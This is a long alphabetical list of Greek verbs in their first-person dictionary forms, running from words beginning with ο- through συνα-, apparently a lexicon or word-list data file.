οικοκυρεύω οικονομώ οικοπεδοποιώ οικουρώ οικτίρω οικώ οιμώζω οιστρηλατούμαι
οιωνίζομαι οιωνοσκοπώ οκνεύω οκνώ οκταπλασιάζω ολιγοπιστώ ολιγοστεύω ολιγοψυχώ
ολισθαίνω ολοκληρώνομαι ολοκληρώνω ολολύζω ολοφύρομαι ομαδοποιώ ομαλίζω
ομαλοποιώ ομαλύνω ομιλώ ομνύω ομογνωμονώ ομοδοξώ ομοιάζω ομοιοκαταληκτώ
ομοιώνω ομολογώ ομονοώ ομορφαίνω ομοσιτώ ομοφηφώ ομοφρονώ ομοφωνώ ομπυάζω
ομόνω ονειδίζω ονειρεύομαι ονειριάζομαι ονειροβατώ ονειροπολώ ονειρώττω
ονομάζω ονοματίζω ονοματοθετώ ονοματοποιώ οντουλάρω οξειδοφωσφορυλιώνω
οξειδώνω οξεοποιώ οξιδώνομαι οξιδώνω οξυγονοκολλώ οξυγονώ οξυγονώνω οξυτονώ
οπαλίζω οπισθογραφώ οπισθοδρομώ οπισθοχωρώ οπλίζομαι οπλίζω οπλομαχώ οπλοφορώ
ορέγομαι ορίζομαι ορίζω οραματίζομαι οργίζομαι οργίζω οργανώνομαι οργανώνω
οργώ οργώνομαι οργώνω ορειχαλκώνω ορθιάζω ορθογραφώ ορθοποδίζω ορθοποδώ
ορθοτονώ ορθοφρονώ ορθώνομαι ορθώνω οριζοντιώνομαι οριζοντιώνω οριοθετούμαι
οριστικοποιούμαι οριστικοποιώ ορκίζομαι ορκίζω ορκοδοτώ ορκωμοτώ ορμάω ορμίζω
ορμηνεύω ορμώ ορμώμαι οροθετώ ορρωδώ ορτσάρω ορφανίζω ορφανεύω ορχούμαι ορύσσω
ορώ οσμίζομαι οστεοποιώ οστεώνομαι οστεώνω οσφραίνομαι ουρανοβατώ ουριοδρομώ
ουρώ ουσιαστικοποιούμαι οφείλομαι οφείλω οχεύω οχλοκρατούμαι οχταπλασιάζω
οχυρώνω πάγω πάλλομαι πάλλω πάσχω πάω πέλω πέμπομαι πέμπω πένομαι πέποιθα
πέρδομαι πέτομαι πέφτω πήζω πίνω πίπτω πίπτω παίζομαι παίζω παίρνομαι παίρνω
πααίνω παγαίνω παγανίζω παγιδεύομαι παγιδεύω παγιοποιώ παγιώνομαι παγιώνω
παγοδρομώ παγοποιώ παγουδιάζω παγουδιώ παγώνω παζαρεύω παθαίνω παθητικοποιώ
παθοπλαντάζω παιανίζω παιγνιδίζω παιδαγωγώ παιδεύω παιδιακίζω παιδιαρίζω
παιδοποιώ παιζογελώ παινεύομαι παινεύω παινώ παιχνιδίζω παιχνιδιαρίζω πακετάρω
πακτώνω παλαίω παλαβώνω παλαιώνομαι παλαιώνω παλαμίζω παλαντζάρω παλεύω
παλινδρομώ παλιννοστώ παλινορθώνομαι παλινορθώνω παλινωδώ παλιώνομαι παλιώνω
παλουκώνω πανάρω πανίζω πανηγυρίζω πανθομολογούμαι πανιάζω πανικοβάλλομαι
πανουκλιάζω παντέχω παντελονιάζω παντρεύομαι παντρεύω παντρολογιέμαι
παντρολογώ παξιμαδιάζω παπαγαλίζω παπαδοκρατούμαι παπαριάζω παπλώνω
παπουτσώνω παράγομαι παράγω παράκειμαι παρέλκω παρέρχομαι παρέχομαι παρέχω
παραέχω παραβάλλομαι παραβάλλω παραβαίνω παραβαραίνω παραβαρύνω παραβγαίνω
παραβλάπτω παραβλέπομαι παραβράζω παραγίνομαι παραγγέλλομαι παραγγέλλω
παραγεμίζομαι παραγεμίζω παραγεράζω παραγερνώ παραγιομίζω παραγκωνίζομαι
παραγνωρίζομαι παραγνωρίζω παραγοντοποιούμαι παραγοντοποιώ παραγράφομαι
παραγραμματίζω παραδέρνω παραδέχομαι παραδίδεται παραδίδομαι παραδίδω
παραδειγματίζομαι παραδειγματίζω παραδειγματολογώ παραδιαβάζω παραδοξολογώ
παραείμαι παραζαλίζω παραζεσταίνομαι παραζεσταίνω παραθέτω παραθαρρεύω
παραθερίζω παραθερμαίνομαι παραθερμαίνω παραθυμώνω παραινώ παραιτούμαι παραιτώ
παρακάθομαι παρακάμπτω παρακάνω παρακαλούμαι παρακαλώ παρακαταθέτω παρακεντώ
παρακινούμαι παρακινώ παρακλαδεύω παρακμάζω παρακοιμάμαι παρακοιμούμαι
παρακολουθώ παρακούω παρακρατούμαι παρακρατώ παρακωλύομαι παρακωλύω παραλέω
παραλαμβάνομαι παραλαμβάνω παραλαντίζω παραλείπω παραληρώ παραλλάζω
παραλλάσσω παραλληλίζομαι παραλληλίζω παραλογίζομαι παραλογιάζω παραλύω
παραμακραίνω παραμακρύνω παραμελώ παραμερίζομαι παραμερίζω παραμετροποιώ
παραμονεύω παραμορφώνω παραμπαίνω παραμπουκώνω παραμυθιάζομαι παραμυθιάζω
παραμυθούμαι παρανομάζω παρανομιάζω παρανομώ παρανοώ παρανυστάζω παραξενεύομαι
παραξενιάζω παραξηλώνω παραξοδεύομαι παραξοδεύω παραξοδιάζω παραπέμπομαι
παραπέφτω παραπίνω παραπαίρνω παραπαίω παραπατώ παραπαχαίνω παραπείθω παραπετώ
παραπλέω παραπλανιέμαι παραπλανώ παραπλανώμαι παραπληροφορούμαι παραπληροφορώ
παραποιώ παραπονιέμαι παραπονιούμαι παραπονούμαι παραρίχνω παραρρέω
παρασέρνω παρασημαίνω παρασημοφορούμαι παρασημοφορώ παρασιτώ παρασιωπώ
παρασκευάζω παρασπονδώ παραστέκομαι παραστέκω παρασταίνω παραστρατίζω
παρασύρομαι παρασύρω παρατάσσομαι παρατάσσω παρατίθεμαι παρατείνω
παρατεντώνω παρατηρώ παρατηρῶ παρατιέμαι παρατιμονιάζω παρατρέπω παρατρέχω
παρατραβώ παρατρώγω παρατρώω παρατυγχάνω παρατυπώ παρατυπώνω παρατώ παραφέρνω
παραφθείρω παραφορτώνομαι παραφορτώνω παραφουντώνω παραφουσκώνομαι
παραφράζω παραφρονώ παραφυλάγω παραφυλάω παραφωνάζω παραφωνώ παραχέζω
παραχαράσσομαι παραχαράσσω παραχαϊδεύω παραχειμάζω παραχοντραίνω παραχωρούμαι
παραχώνομαι παραχώνω παραψένω παραψήνω παραωριμάζω παρεδρεύω παρεισάγω
παρεισφρέω παρεκβαίνω παρεκκλίνω παρεκτείνω παρεκτρέπομαι παρελαύνω
παρελκύω παρεμβάλλομαι παρεμβάλλω παρεμβαίνω παρεμπίπτω παρεμποδίζω παρεμφαίνω
παρενθέτω παρεννοώ παρενοχλούμαι παρενοχλώ παρεντίθεμαι παρεξηγιέμαι
παρεξηγώ παρεπιδημώ παρερμηνεύομαι παρερμηνεύω παρετυμολογώ παρευρίσκομαι
παριστάνω παριστώ παρκάρω παρκετάρω παρλάρω παροικώ παρομοιάζω παρομοιώνω
παροξύνω παροπλίζω παροργίζω παρορμώ παρορμώμαι παρορώ παροτρύνω παρουσιάζομαι
παροχετεύομαι παροχετεύω παρωδούμαι παρωδώ παρωθώ πασάρω πασέρνω πασαλείβω
πασκάζω πασκίζω πασπαλίζομαι πασπαλίζω πασπατεύγω πασπατεύω πασσαλώνω
παστρεύγω παστρεύω παστώνω πασχάζω πασχίζω πατάσσομαι πατάσσω πατάω πατεντάρω
πατικώνω πατινάρω πατριαρχεύω πατριαρχώ πατρονάρω πατσίζω πατσαβουριάζομαι
παττίζω πατώ πατώνω παφλάζω παχαίνω παχνιάζω παχτώνω παχύνω παύομαι παύω
πείθω πεδικλώνομαι πεδικλώνω πεδιλώνω πεζεύω πεζογραφώ πεζοδρομώ πεζολογώ
πεζοπορώ πεθαίνω πεθυμώ πειθαναγκάζομαι πειθαναγκάζω πειθαρχώ πεινάω πεινώ
πειράζω πειραματίζομαι πειρατεύω πειρώμαι πεισματώνω πεισμώνω πελαγίζω
πελαγώνω πελεκάω πελεκίζω πελεκιέμαι πελεκώ πελιδνούμαι πενηνταρίζω πενθηφορώ
πενταπλασιάζω πεντοβολώ περίκειμαι περαίνω περαιώνω περατώνω περδικλώνω
περεχύνω περεχώ περηφανεύομαι περιάγω περιάπτω περιέρχομαι περιέχω περιίπταμαι
περιαλείφω περιαρπάζω περιαυγάζω περιαυτολογώ περιβάλλομαι περιβάλλω περιβλέπω
περιγαμώ περιγελώ περιγλύφω περιγράφομαι περιγράφω περιδένω περιδιαβάζω
περιδινώ περιδρομιάζω περιελίσσομαι περιελίσσω περιεργάζομαι περιζωννύω
περιηγούμαι περιθάλπω περιθωριοποιούμαι περιθωριοποιώ περικάμπτω περικαλύπτω
περικείρω περικλαδεύω περικλείνω περικλείομαι περικλείω περικλύζομαι περικλύζω
περικυκλώνομαι περικυκλώνω περικόβω περικόπτω περιλάμπω περιλαβαίνω
περιλαμβάνω περιλούζω περιλούω περιμένω περιμαζεύω περιμαζώνω περιμαντρώνω
περιορίζομαι περιορίζω περιπίπτω περιπαίζω περιπατώ περιπλέκομαι περιπλέκω
περιπλανιέμαι περιπλανώμαι περιποιέμαι περιποιούμαι περιποιώ περιπολώ
περιρράπτω περιρρέω περιρραίνω περισκοπώ περισπώ περισσεύω περιστέλλω
περιστοιχίζω περιστρέφομαι περιστρέφω περισυλλέγω περισυνάγω περισφίγγω
περισώζω περισώνω περιτέμνω περιταφρώ περιτειχίζω περιτοιχίζω περιτρέχω
περιττεύω περιττολογώ περιττώνω περιτυλίγω περιυβρίζω περιφέρομαι περιφέρω
περιφράζω περιφράσσω περιφρονώ περιφρουρώ περιχέω περιχαράζομαι περιχαράζω
περιχαράσσω περιχαρακώνομαι περιχαρακώνω περιχρίω περιχρυσώνω περιχύνω περιχώ
περνιέμαι περνοδιαβαίνω περνώ περονιάζω περπατώ περώ πετάγομαι πεταλουδίζω
πεταρίζω πετιέμαι πετροβολώ πετρώνω πετσιάζω πετσικάρω πετσοκόβω πετσώνω
πετώ πηγάζω πηγαίνω πηγαινοέρχομαι πηγαινοφέρνω πηγαινόρχομαι πηδάω πηδαλιουχώ
πηδώ πηκτωματοποιώ πηλαλάω πηλαλώ πηλοβατώ πιάνομαι πιάνω πιέζομαι πιέζω
πιθανεύομαι πιθανολογώ πιθηκίζω πιθυμώ πιθώνω πικάρω πικαρίζω πικρίζω
πικραίνω πικραναστενάζω πικροκαρδίζω πιλαλάω πιλαλώ πιλατεύω πιλοτάρω πιλοφορώ
πιπίζω πιπερίζω πιπερώνω πιπιλίζω πιπιλώ πιπώνω πιρουνιάζω πισκαλώ πισσώνομαι
πιστεύω πιστοδοτώ πιστολίζω πιστοποιούμαι πιστοποιώ πιστοχρεώνω πιστώνω
πισωδρομώ πιτηδεύομαι πιτσιλάω πιτσιλίζω πιτσιλώ πλάθομαι πλάθω πλάσσω πλάττω
πλέκω πλένομαι πλένω πλέχω πλέω πλήττομαι πλήττω πλαγιάζω πλαγιοδετώ
πλαγιοδρομώ πλαγιοποδίζω πλαγιοφυλάσσω πλαγιοφυλακώ πλαισιώνομαι πλαισιώνω
πλακοστρώνω πλακουτσώνω πλακώνομαι πλακώνω πλαλώ πλανάρω πλανίζομαι πλανίζω
πλανεύω πλανιέμαι πλαντάζω πλαντώ πλανώ πλανώμαι πλασάρομαι πλασάρω
πλαστικοποιώ πλαστογραφούμαι πλαστογραφώ πλαστοπροσωπώ πλαστουργώ πλαταίνω
πλατειάζω πλατσουκώνω πλατσουρίζω πλατύνω πλειοδοτώ πλειονοψηφώ πλειοψηφώ
πλεονάζω πλεονεκτώ πλερώνω πλευρίζω πλευριτώνομαι πλευριτώνω πλευροκοπώ
πληγώνομαι πληγώνω πληθαίνω πληθύνω πληκτρολογούμαι πληκτρολογώ πλημμυρίζω
πληροφορούμαι πληροφορώ πληρώ πληρώνομαι πληρώνω πλησιάζω πλιατσικολογώ
πλισάρω πλοηγώ πλοιαρχώ πλουμίζω πλουτίζω πλουταίνω πλουτώ πλωρίζω πλύνω πνέω
πνίγω πνευστιώ ποδένω ποδίζω ποδηγετούμαι ποδηγετώ ποδηλατώ ποδοβολώ ποδοκροτώ
ποδοπατιέμαι ποδοπατούμαι ποδοπατώ ποζάρω ποθώ ποικίλλω ποιμαίνομαι ποιμαίνω
ποινικοποιούμαι ποινικοποιώ ποιούμαι ποιώ πολεμάω πολεμώ πολεμῶ πολεοδομούμαι
πολιορκούμαι πολιορκώ πολιτεύομαι πολιτικολογώ πολιτικοποιούμαι πολιτικοποιώ
πολλαίνω πολλαπλασιάζομαι πολλαπλασιάζω πολτοποιούμαι πολτοποιώ πολυαγαπώ
πολυγραφούμαι πολυγραφώ πολυκαιρίζω πολυλογώ πολυμιλώ πολυνομίζω πολυξοδιάζω
πολυπικραίνω πολυπραγμονώ πολυταξιδεύω πολυτεντώνω πολυτονίζω πολυφορτώνω
πολυχρονάω πολυχρονίζω πολώνομαι πολώνω πομπάρω πομπεύω πομπιάζω πονηρεύομαι
πονθιάζω πονοκεφαλιάζω πονοκεφαλώ πονοῦμαι ποντάρω ποντίζομαι ποντίζω
πονώ πονῶ πορίζομαι πορίζω πορδίζω πορεύομαι πορεύω πορθώ πορνεύω πορνογραφώ
πορτοκαλίζω πορφυρίζω πορφυρώνω ποσάρω ποσοτικοποιώ ποστάρω ποσταίρνω ποτάζω
ποτίζω πουδράρω πουλάω πουλεύω πουλιέμαι πουλώ πουμώνω πουντιάζω πουριάζω
πουστίζω πουτανίζω πουτσίζω πράττω πρέπει πρέπω πρήζομαι πρήζω πρήσκω πραΰνω
πραγματοποιούμαι πραγματοποιώ πραγματώνομαι πραγματώνω πρασινίζω πρατιγάρω
πρεσάρω πρεσβεύω πριμάρω πριμοδοτούμαι πριμοδοτώ πριονίζομαι πριονίζω
προάγομαι προάγω προέλκω προέρχομαι προέχει προαίνω προαγγέλλω προαγοράζω
προαιρούμαι προαισθάνομαι προαλείφομαι προαναγγέλλω προανακρίνω προανακρούω
προαναφλέγω προαπαγορεύω προαπαιτώ προαπαντώ προαποβιώνω προαποστέλλω
προαποφασίζω προασκώ προασπίζομαι προασπίζω προασφαλίζω προαφαιρώ προβάλλομαι
προβάρω προβαίνω προβαδίζω προβιβάζομαι προβιβάζω προβλέπομαι προβλέπω
προβληματίζω προβοδίζω προβοδώνω προβοκάρω προβούλομαι προγευματίζω προγεύομαι
προγκάρω προγκάω προγκίζω προγράφω προγραμματίζομαι προγραμματίζω προγυμνάζω
προδίνω προδιαγράφομαι προδιαγράφω προδιαθέτω προδιατίθεμαι προδικάζω
προειδοποιούμαι προειδοποιώ προεικάζω προεισπράττω προεκβάλλω προεκλέγω
προεκτυπώνω προελέγχω προελαύνω προεμβάζω προενεργώ προεξάγω προεξάρχω
προεξοφλώ προετοιμάζομαι προετοιμάζω προηγούμαι προθερμαίνομαι προθερμαίνω
προικίζω προικοδοτώ προικοθηρώ προκάθημαι προκάνω προκαθορίζω προκαλούμαι
προκαλώ προκαταβάλλω προκαταλαμβάνω προκαταρτίζω προκατασκευάζω προκηρύσσω
προκινδυνεύω προκρίνομαι προκρίνω προκόβω προκόφτω προκύπτω προλέγω προλαβαίνω
προλειαίνω προλογίζω προμαντεύω προμαχώ προμελετώ προμηθεύομαι προμηθεύω
προμηνώ προμισθώνω προμοτάρω προνευστάζω προνεύω προνοώ προξενεύω προξενώ
προοιμιάζομαι προοιμιάζομαι προοιωνίζομαι προοιωνίζω προορίζομαι προορίζω
προπέμπω προπίνω προπαίρνω προπαγανδίζω προπαιδεύω προπαρασκευάζομαι
προπαροξύνω προπηλακίζω προπλάθω προπληρώνομαι προπληρώνω προπονώ προπορεύομαι
προσάγω προσάπτω προσέρχομαι προσέχω προσήκει προσαγορεύω προσαιγιαλώνομαι
προσαράζω προσαράσσω προσαρμόζομαι προσαρμόζω προσαρτώ προσαρτώμαι
προσαυξάνω προσαυξαίνω προσβάλλομαι προσβάλλω προσβέλνω προσβλέπω
προσγειώνω προσγράφω προσδένω προσδέχομαι προσδίδω προσδίνω προσδιορίζω
προσδοκώ προσεγγίζω προσεδαφίζομαι προσεδαφίζω προσελκύω προσεπικαλώ
προσεταιρίζομαι προσεύχομαι προσηκώνομαι προσηλιάζω προσηλυτίζω προσηλώνομαι
προσημαίνω προσημειώνω προσθέτω προσθαλασσώνομαι προσθαλασσώνω προσθαφαιρώ
προσκαλώ προσκλίνω προσκολλώ προσκολλώμαι προσκομίζω προσκρούω προσκτώμαι
προσκυρώνω προσκόπτω προσλαβαίνω προσλαμβάνομαι προσλαμβάνω προσλιμενίζομαι
προσμαρτυρώ προσμειδιώ προσμετρώ προσμοιάζω προσομοιάζω προσονομάζω
προσορμίζω προσπέφτω προσπίπτω προσπαθώ προσπελάζω προσπερνώ προσποιούμαι
προσράπτω προσροφώ προσροφώμαι προσσεληνώνω προστάζω προστίθεμαι προστατεύω
προστρέχω προστρίβω προστυχαίνω προστυχεύω προσυδατώνω προσυλλογίζομαι
προσυπογράφω προσφέρομαι προσφέρω προσφεύγω προσφωνώ προσχεδιάζω προσχηματίζω
προσχώνω προσωπογραφώ προσωποκρατώ προσωποληπτώ προσωποποιούμαι προσωποποιώ
προτίθεμαι προτείνω προτειχίζω προτελευτώ προτιμολογώ προτιμώ προτονίζω
προτρέπω προτρέχω προφέρω προφασίζομαι προφητεύω προφθάνω προφτάνω προφταίνω
προφυλάγω προφυλάσσομαι προφυλάσσω προφυλάω προφυλακίζω προχέω προχειρίζω
προχρονολογώ προχωράω προχωρώ προωθώ προϊδεάζω προϋπάρχω προϋπαντώ προϋπηρετώ
προϋποθέτω προϋπολογίζω προϋποτίθεται προϋπόσχομαι προϋφίσταμαι πρυμάρω
πρυματσάρω πρυμνοδετώ πρυτανεύω πρωθυπουργεύω πρωταγωνιστώ πρωταρχίζω
πρωτεύω πρωτοανοίγω πρωτοβάζω πρωτοβγάζω πρωτοβγαίνω πρωτοβλέπω πρωτογεννώ
πρωτοδοκιμάζω πρωτοεμφανίζομαι πρωτοθυμάμαι πρωτοκαθίζω πρωτοκολλώ πρωτολέω
πρωτομαθαίνω πρωτομιλώ πρωτοπηγαίνω πρωτοπιάνω πρωτοπορώ πρωτοστατώ πρωτοτρώγω
πρωτοφορώ πρωτοφτάνω πρόγκημα πρόκειται πρόσκειμαι πτήσσω πτίσσω πταίω
πτερυγίζω πτερώνω πτοούμαι πτοώ πτοῶ πτυελίζω πτυχώνω πτωχαίνω πτωχεύω πτύω
πυγμαχώ πυκνοκατοικούμαι πυκνοφυτεύω πυκνώνω πυορροώ πυρέσσω πυρακτώνομαι
πυργώνω πυρηνοποιώ πυριτιοποιώ πυροβολώ πυροδοτώ πυρπολούμαι πυρπολώ πυρπολῶ
πωλούμαι πωλώ πωματίζω πωρώνομαι πωρώνω ράβω ράνω ράπτω ρέβω ρέγομαι ρέγχω
ρέω ρίπτω ρίχνομαι ρίχνω ρίχτω ραΐζω ραίνω ραβδίζω ραβδομαχώ ραβδοσκοπώ
ραγίζω ραγολογώ ραδιοτηλεφωνώ ραδιουργώ ραθυμώ ρακιτζίζω ρακοσυλλέγω ρακοφορώ
ραμολίρω ραμφίζω ραντίζω ραπάρω ραπίζω ραπώνω ραφινάρω ραχατεύω ρεγουλάρω
ρεζιλεύω ρεκάζω ρεκλαμάρω ρελιάζω ρεμβάζω ρεμεντζάρω ρεμετζάρω ρεμιντζάρω
ρεμπελεύω ρεμπετεύω ρεπάρω ρεστάρω ρετουσάρω ρευματοδοτούμαι ρευματοδοτώ
ρευστοποιώ ρεφάρω ρεφενίζω ρεύγομαι ρεύομαι ρεύω ρηγνύω ρημάζω ρημάσω ρημώνω
ρητινώνω ρητορεύω ριγώ ριγώνω ριζοβολώ ριζοδοντιάζω ριζολογώ ριζοσπαστικοποιώ
ρικνούμαι ρικνώνομαι ρικνώνω ριμάρω ρινίζω ριπίζω ριπτάζομαι ρισκάρω
ροβολάω ροβολώ ρογιάζω ροδίζω ροδανίζω ροδοκοκκινίζω ροζιάζω ροζονάρω
ροκάρω ροκανίζω ρολάρω ρομαντζάρω ρουθουνίζω ρουμπώνω ρουπώνω ρουσφετολογώ
ρουφιανεύω ρουφώ ρουχουνίζω ροφώ ροχαλίζω ρυάζομαι ρυθμίζω ρυμοτομώ ρυμουλκώ
ρυπαίνω ρυπαρογραφώ ρυτιδιάζω ρυτιδώνω ρωθωνίζω ρωτακίζω ρωτώ ρώομαι σάζω
σέπομαι σέρνομαι σέρνω σήπομαι σίζω σαβανώνω σαβουριάζω σαβουρώνω σαγίζω
σακατεύω σακιάζω σακουλεύομαι σακουλιάζω σαλαγώ σαλεύγω σαλεύω σαλιάζω
σαλιώνω σαλντώ σαλπάρω σαλπίζω σαλτάρω σαμαρώνομαι σαμαρώνω σαμπανιάζω
σανιδώνω σαπίζω σαπουνίζω σαπωνοποιώ σαραβαλιάζω σαρακιάζω σαρακοστίζω
σαραντίζω σαρανταρίζω σαρκάζω σαρκώνω σαρώνω σασιρντίζω σαστίζω σατινάρω
σαφηνίζω σαχλαμαρίζω σαχλιάζω σαψαλιάζω σαϊτεύω σβένω σβήνομαι σβήνω σβανάρω
σβαρνώ σβολιάζω σβολώνω σβουρίζω σβω σβωλιάζω σγουραίνω σγουρώνω σείομαι σείω
σεγκοντάρω σειέμαι σειώ σεκλεντίζομαι σεκλεντίζω σεκλετίζομαι σεκλετίζω
σελαγίζω σελεμίζω σελεμιάζω σεληνιάζομαι σελιδοποιούμαι σελιδοποιώ σελιδώνω
σεμνολογώ σεμνύνομαι σενιάρω σεντονιάζω σεντράρω σερβίρομαι σερβίρω σεργιανάω
σερφάρω σετάρω σηκώνομαι σηκώνω σημαίνω σημαδεύω σημαιοστολίζω σηματοδοτώ
σημειώνω σιάζω σιάχνω σιαλίζω σιαλώνω σιγάζω σιγοβράζω σιγοβρέχει σιγοκαίω
σιγομουρμουρίζω σιγοντάρω σιγοπίνω σιγοτραγουδώ σιγουράρω σιγουρεύομαι
σιγοψιθυρίζω σιγώ σιδερώνω σιμώνω σινιάρω σιργουλεύγω σιροπιάζω σιτίζω σιτεύω
σιχτιρίζω σιωπώ σκάβω σκάζω σκάνω σκάπτω σκάφτω σκάω σκέπτομαι σκέπτω σκέπω
σκίζομαι σκίζω σκαλίζω σκαλεύω σκαλώνω σκαμπάζω σκαμπανεβάζω σκαμπιλίζω
σκανδαλοθηρώ σκανδαλολογώ σκανταγιάρω σκανταλίζω σκανταλιάρω σκαντζάρω
σκαπετίζω σκαπετώ σκαπουλάρω σκαρίζω σκαρδαμύσσω σκαριφίζω σκαριφώ σκαρτάρω
σκαρφίζομαι σκαρφαλώνομαι σκαρφαλώνω σκαρώνω σκατώνω σκαφιδιάζω σκαφιδώνω
σκεδάζω σκεπάζομαι σκεπάζω σκεπαρνίζω σκερτσάρω σκευάζω σκευωρώ σκηνογραφώ
σκηνώ σκιάζω σκιαγραφώ σκιαμαχώ σκιρτώ σκιτσάρω σκλαβώνω σκληρίζω σκληραίνω
σκληρύνω σκολάζω σκολιώ σκολνώ σκολοπίζω σκονίζομαι σκονίζω σκοντάβω σκοντάφτω
σκοπώ σκοράρω σκορακίζω σκορπάω σκορπίζομαι σκορπίζω σκορπώ σκοτίζομαι σκοτίζω
σκοτεινιάζω σκοτιδιάζω σκοτοδινιώ σκοτώνομαι σκοτώνω σκουληκιάζω σκουντάω
σκουντουφλώ σκουντώ σκουπίζομαι σκουπίζω σκουραίνω σκουριάζω σκουροφέρνω
σκούζω σκρολάρω σκυθρωπάζω σκυθρωπιάζω σκυλεύω σκυλιάζω σκυλοβαριέμαι
σκυλοτρώγομαι σκυροδετώ σκωληκιώ σκύβω σκώπτω σμίγω σμαλτώνω σμικρύνω
σμιλεύω σμπαραλιάζω σνιφάρω σνομπάρω σοβαντίζω σοβαρεύομαι σοβαρεύω σοβαρολογώ
σοβεντάρω σοβερτάρω σοβώ σοδεύω σοδιάζω σοδομίζω σοκάρομαι σοκάρω σολιάζω
σονάρω σοροπιάζω σορτάρω σοτάρω σουβαντίζω σουβλίζω σουλαντίζω σουλαντώ
σουλατσέρνω σουλουπώνομαι σουλουπώνω σουμάρω σουπάρω σουρίζω σουραυλίζω
σουρομαδιέμαι σουρομαδώ σουρομαλλιάζω σουρουπώνει σουρτουκεύω σουρώνω
σουσουμιάζω σουτάρω σουφρώνω σοφάρω σοφίζομαι σοφιλιάζω σοφιστεύομαι σούρνω
σπάζω σπάνω σπάω σπέρνω σπαζοκεφαλιάζω σπαθίζω σπανίζω σπαράζομαι σπαράζω
σπαργώ σπαρταράω σπαρταρίζω σπαρταρώ σπαταλιέμαι σπαταλώ σπείρω σπεδίζω
σπερμολογώ σπεύδω σπιθίζω σπιθοβολώ σπικάρω σπιλώνω σπινθηρίζω σπινθηροβολώ
σπιουνάρω σπιουνεύω σπιουνιάρω σπιρουνίζω σπιρουνιάζω σπιτώνω σπλαχνίζομαι
σπογγίζω σποριάζω σπορκαρίζομαι σπουδάζω σπουδαιολογώ σπουδαρχώ σπρώχνομαι
σπυριάζω σπω στάζω στέκομαι στέκω στέλνω στένω στέργω στέφω στήνομαι στήνω
στίζω στίλβω σταβλίζω σταδιοδρομώ σταδιοποιώ σταθεροποιούμαι σταθεροποιώ
σταθμεύω σταλάζω σταλίζω σταλιάζω σταματώ σταμπάρω στανιάρω στασιάζω
σταυροδοτώ σταυροκοπιέμαι σταυροκοπούμαι σταυροφορώ σταυρώνω σταφιδιάζω
σταχολογώ σταχτιάζω σταχτώνω σταχυάζω σταχυολογούμαι σταχυολογώ σταχώνω στείβω
στεγανοποιούμαι στεγανοποιώ στεγνώνω στειλιαρώνω στειρεύω στειροποιώ στειρώνω
στελεχώνω στελιάζω στενάζω στεναχωράω στεναχωριέμαι στεναχωρώ στενεύω
στενοχωριέμαι στενοχωρώ στερεοποιούμαι στερεοποιώ στερεοτυπώ στερεοτυπώνω
στερεώνομαι στερεώνω στεριώνω στερούμαι στερφεύω στερώ στεφανηφορώ
στεφανώνω στηθοδέρνομαι στηθοκοπιέμαι στηθοσκοπώ στηλιτεύω στηλώνω στημονιάζω
στηρίζω στιγματίζω στιλβώνω στιλιζάρω στιμάρω στιχουργώ στλεγγίζω στοιβάζω
στοιχίζω στοιχειοθετώ στοιχειώνω στοιχηματίζω στοιχώ στοκάρω στολίζομαι
στολοδρομώ στομαχιάζω στομφάζω στομώνω στοπάρω στορίζω στουκάρω στουμπίζω
στουπώνω στοχάζομαι στοχεύω στρέγω στρέφομαι στρέφω στρίβω στραβίζω
στραβολαιμιάζω στραβομουτσουνιάζω στραβοπατώ στραβώνω στραγγίζω στραγγαλίζω
στραμπουλώ στραπατσάρω στραταρίζω στρατεύομαι στρατηγώ στρατιωτικοποιώ
στρατολογούμαι στρατολογώ στρατοπεδεύω στρατουλίζω στρατωνίζομαι στρατωνίζω
στρεσάρω στρεψοδικώ στριγκλίζω στριμώχνομαι στριμώχνω στριφογυρίζω στριφογυρνώ
στροβιλίζομαι στροβιλίζω στρογγυλαίνω στρογγυλεύω στρογγυλοκάθομαι
στρογγυλώνω στρουθοκαμηλίζω στροφοδινούμαι στρώνομαι στρώνω στυλώνω στυπώνω
στύβω στύφω συβάζω συγγενεύω συγγηράσκω συγγράφω συγκαίγομαι συγκαίομαι
συγκαλύπτω συγκαλώ συγκατέχω συγκαταβαίνω συγκατακλίνομαι συγκαταλέγω
συγκαταριθμώ συγκατατάσσω συγκατατίθεμαι συγκατοικώ συγκεκριμενοποιούμαι
συγκεντρώνομαι συγκεντρώνω συγκεράζομαι συγκεράζω συγκερνώ συγκεφαλαιώνω
συγκινώ συγκλίνω συγκλείω συγκληρονομώ συγκλονίζω συγκοινωνώ συγκολλιέμαι
συγκομίζω συγκρίνομαι συγκρίνω συγκρατιέμαι συγκρατούμαι συγκρατώ συγκροτώ
συγκυβερνώ συγκωδωνίζω συγκόπτομαι συγυρίζομαι συγυρίζω συγχέω συγχαίρω
συγχρονίζω συγχρωτίζομαι συγχωνεύομαι συγχωνεύω συγχωρώ συγχύζομαι συγχύζω
συζευγνύω συζητώ συζώ συκοφαντώ συλλέγω συλλαβίζω συλλαβαίνω συλλαμβάνω
συλλογίζομαι συλλογιέμαι συλλογούμαι συλλυπούμαι συλούμαι συλώ συμβάλλομαι
συμβαίνει συμβαίνω συμβαδίζω συμβασιλεύω συμβιβάζομαι συμβιβάζω συμβιώνω
συμβολαιογραφώ συμβολοποιώ συμβουλεύομαι συμβουλεύω συμμαζεύομαι συμμαζεύω
συμμαθητεύω συμμαχώ συμμειγνύω συμμερίζομαι συμμετέχω συμμορφώνομαι συμμορφώνω
συμπάσχω συμπίνω συμπίπτω συμπαθώ συμπανηγυρίζω συμπαραθέτω συμπαρασέρνω
συμπαραστέκω συμπαρασύρω συμπαρατάσσομαι συμπαρομαρτώ συμπεθερεύω συμπεθεριάζω
συμπεριλαμβάνω συμπεριφέρομαι συμπηγνύω συμπιάνω συμπιέζομαι συμπιέζω συμπιλώ
συμπλέκομαι συμπλέκω συμπλέω συμπληρώνω συμπολεμώ συμπολιτεύομαι συμπονώ
συμποσιάζω συμποσούμαι συμπράττω συμπροεδρεύω συμπροφέρω συμπρωταγωνιστώ
συμπτύσσω συμπυκνώνομαι συμπυκνώνω συμπώ συμφέρει συμφέρω συμφεροντολογώ
συμφοιτώ συμφράζομαι συμφωνώ συμφύομαι συμφύρομαι συμφύρω συμψηφίζω συνάγω
συνάζω συνάπτω συνάρχω συνάω συνέλκω συνέρχομαι συνέχομαι συνέχω συνίσταμαι
συναγείρω συναγελάζομαι συναγωνίζομαι συναδελφώνομαι συναθλούμαι συναθροίζω
συναιρώ συναισθάνομαι συνακολουθώ συνακροώμαι συναλλάζω συναλλάσσομαι
συναναστρέφομαι συναντιέμαι συναντώ συναπαντιέμαι συναπαντώ συναπαρτίζω
συναποκομίζω συναποτελώ συναποφασίζω συναρθρώνω συναριθμώ συναρμολογούμαι
